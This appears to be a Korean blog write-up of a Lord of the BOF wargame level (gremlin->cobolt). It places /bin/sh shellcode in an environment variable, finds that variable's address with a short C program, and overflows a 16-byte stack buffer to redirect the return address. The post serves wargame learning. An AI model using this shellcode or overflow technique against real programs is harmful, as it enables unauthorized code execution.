본문 바로가기

wargame/S_LOB

gremlin->cobolt

gremlin->cobolt


cobolt 문제다.

버퍼의 사이즈가 16byte로 사이즈가 작다..

그렇다면 환경변수를 이용하여 shellcode를 넣어보자


export SHELLCODE=$(python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')


하고 env 명령어로 보면


잘들어가있다.

그럼 이 환경변수에 등록된 쉘코드의 주소값을 알아보자.

소스는 간단하게 c로..


#include<stdio.h>

int main(void){

printf("%p\n",getenv("SHELLCODE"));
return 0;

}


후 컴파일 해주면


됐당


그렇다면

buffer(16byte)  = NOP 

SFP   (4byte)    = NOP

ret    (4byte)    = 0xbffffddb





이렇게 해주자


 ./cobolt `python -c 'print "\x90"*20+"\xdb\xfd\xff\xbf"'`



hacking exposed

'wargame > S_LOB' 카테고리의 다른 글

wolfman->darkelf  (2) 2016.08.31
orc->wolfman  (0) 2016.06.24
goblin->orc  (0) 2016.06.23
cobolt -> goblin  (0) 2016.06.14
gate->gremlin  (0) 2016.06.12